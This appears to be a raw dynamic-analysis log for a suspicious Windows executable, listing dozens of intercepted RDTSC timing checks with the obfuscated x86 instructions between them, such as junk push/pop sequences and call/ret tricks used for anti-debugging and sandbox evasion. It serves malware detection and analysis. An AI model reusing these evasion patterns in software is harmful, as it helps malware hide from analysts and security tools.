Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5A6D41 second address: 5A6D6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA948C4CB34h 0x00000009 pop ecx 0x0000000a jng 00007FA948C4CB2Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5A6D6A second address: 5A6D79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA948B16F7Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5A6D79 second address: 5A6DA5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA948C4CB2Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FA948C4CB2Ah 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 pop edx 0x00000014 pushad 0x00000015 jbe 00007FA948C4CB26h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5A64EF second address: 5A64FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pushad 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5A72E3 second address: 5A72E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5A72E9 second address: 5A72ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5A72ED second address: 5A730A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jno 00007FA948C4CB26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007FA948C4CB2Eh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5ABA8D second address: 5ABA91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5ABA91 second address: 5ABAAE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA948C4CB33h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5AFFC7 second address: 5AFFDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 jc 00007FA948B16F76h 0x0000000b pop edx 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 jnl 00007FA948B16F76h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5AFFDF second address: 5AFFE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5B03E4 second address: 5B03EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5B07D3 second address: 5B07EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FA948C4CB33h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5B07EF second address: 5B07F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5321A0 second address: 5321A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5B5920 second address: 5B592A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FA948B16F76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5B592A second address: 5B592E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5B592E second address: 5B5938 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5B5938 second address: 5B593C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5B4835 second address: 5B483B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5B483B second address: 5B484C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jc 00007FA948C4CB26h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5B484C second address: 5B4851 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 57242E second address: 572432 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 572432 second address: 572444 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007FA948B16F78h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 572444 second address: 572496 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FA948C4CB36h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f pushad 0x00000010 jg 00007FA948C4CB28h 0x00000016 pushad 0x00000017 jo 00007FA948C4CB26h 0x0000001d jmp 00007FA948C4CB36h 0x00000022 popad 0x00000023 popad 0x00000024 mov eax, dword ptr [eax] 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 push ebx 0x0000002a pop ebx 0x0000002b pushad 0x0000002c popad 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 572496 second address: 5724B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA948B16F7Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d jbe 00007FA948B16F88h 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5724B7 second address: 5724BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5724BB second address: 5724F5 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FA948B16F76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007FA948B16F78h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 00000015h 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 mov edx, dword ptr [ebp+122D2991h] 0x0000002b push D2C882CCh 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 push esi 0x00000034 pop esi 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5724F5 second address: 5724FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 57265C second address: 572662 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 572662 second address: 5726C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007FA948C4CB38h 0x00000011 jmp 00007FA948C4CB30h 0x00000016 popad 0x00000017 xchg eax, esi 0x00000018 push 00000000h 0x0000001a push eax 0x0000001b call 00007FA948C4CB28h 0x00000020 pop eax 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 add dword ptr [esp+04h], 00000017h 0x0000002d inc eax 0x0000002e push eax 0x0000002f ret 0x00000030 pop eax 0x00000031 ret 0x00000032 mov dl, bl 0x00000034 push eax 0x00000035 jbe 00007FA948C4CB32h 0x0000003b jng 00007FA948C4CB2Ch 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5729D6 second address: 5729E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5729E3 second address: 5729E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5729E7 second address: 572A01 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA948B16F86h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 572E24 second address: 572EA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push esi 0x0000000c call 00007FA948C4CB28h 0x00000011 pop esi 0x00000012 mov dword ptr [esp+04h], esi 0x00000016 add dword ptr [esp+04h], 00000016h 0x0000001e inc esi 0x0000001f push esi 0x00000020 ret 0x00000021 pop esi 0x00000022 ret 0x00000023 jmp 00007FA948C4CB2Fh 0x00000028 push 0000001Eh 0x0000002a push 00000000h 0x0000002c push ebx 0x0000002d call 00007FA948C4CB28h 0x00000032 pop ebx 0x00000033 mov dword ptr [esp+04h], ebx 0x00000037 add dword ptr [esp+04h], 0000001Dh 0x0000003f inc ebx 0x00000040 push ebx 0x00000041 ret 0x00000042 pop ebx 0x00000043 ret 0x00000044 push eax 0x00000045 pushad 0x00000046 add dword ptr [ebp+122D2AF4h], eax 0x0000004c jmp 00007FA948C4CB30h 0x00000051 popad 0x00000052 pop edx 0x00000053 nop 0x00000054 jng 00007FA948C4CB2Eh 0x0000005a push ebx 0x0000005b push eax 0x0000005c push edx 0x0000005d rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 572EA5 second address: 572EAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 pushad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 572EAF second address: 572EB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 572EB5 second address: 572EBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5B4C27 second address: 5B4C30 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5B4C30 second address: 5B4C36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5B4C36 second address: 5B4C3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 53C4D8 second address: 53C4DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5C453E second address: 5C4548 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FA948C4CB26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5C3E2A second address: 5C3E3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA948B16F7Ah 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5C3E3B second address: 5C3E40 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5C3E40 second address: 5C3E46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5C3FB2 second address: 5C3FB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5C3FB8 second address: 5C3FBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5C3FBC second address: 5C3FC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5C3FC0 second address: 5C3FD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jp 00007FA948B16F76h 0x00000013 push edx 0x00000014 pop edx 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5C4295 second address: 5C42B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FA948C4CB26h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d jg 00007FA948C4CB2Ch 0x00000013 jbe 00007FA948C4CB2Ch 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5CA0E9 second address: 5CA0FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA948B16F7Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5CA0FA second address: 5CA100 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5CA100 second address: 5CA12A instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FA948B16F76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007FA948B16F83h 0x00000012 push eax 0x00000013 push edx 0x00000014 jl 00007FA948B16F76h 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5C88ED second address: 5C88F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5C8BFF second address: 5C8C0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 js 00007FA948B16F7Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5C8D71 second address: 5C8D76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5C9008 second address: 5C900E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5C900E second address: 5C9018 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5C9018 second address: 5C9030 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA948B16F84h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 572C0E second address: 572C12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 572C12 second address: 572C18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 572CF1 second address: 572CF7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 572CF7 second address: 572D05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA948B16F7Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5C91C3 second address: 5C91CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5C91CA second address: 5C91F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA948B16F7Eh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FA948B16F81h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5C91F4 second address: 5C91F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5C9368 second address: 5C9373 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007FA948B16F76h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5C9D50 second address: 5C9D56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5C9D56 second address: 5C9D5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5C9D5A second address: 5C9D7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FA948C4CB2Eh 0x0000000c jmp 00007FA948C4CB2Eh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5C9D7F second address: 5C9D90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jbe 00007FA948B16F76h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5C9D90 second address: 5C9D95 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5C9D95 second address: 5C9D9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5C9D9B second address: 5C9DA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FA948C4CB26h 0x0000000a popad 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5CDF63 second address: 5CDF80 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA948B16F89h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5CD4F3 second address: 5CD4F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5CD818 second address: 5CD82C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FA948B16F76h 0x0000000a jmp 00007FA948B16F7Ah 0x0000000f rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5CD82C second address: 5CD830 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5CF4F1 second address: 5CF4F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5CF4F7 second address: 5CF504 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 js 00007FA948C4CB26h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5D663D second address: 5D664F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FA948B16F76h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c popad 0x0000000d pushad 0x0000000e push edi 0x0000000f pop edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5D664F second address: 5D6655 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5D6655 second address: 5D665A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5D665A second address: 5D6666 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jp 00007FA948C4CB26h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5D6666 second address: 5D666A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5D4F4E second address: 5D4F53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5D5224 second address: 5D522D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5D522D second address: 5D5233 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5D5233 second address: 5D5237 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	RDTSC instruction interceptor: First address: 5D5237 second address: 5D523B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
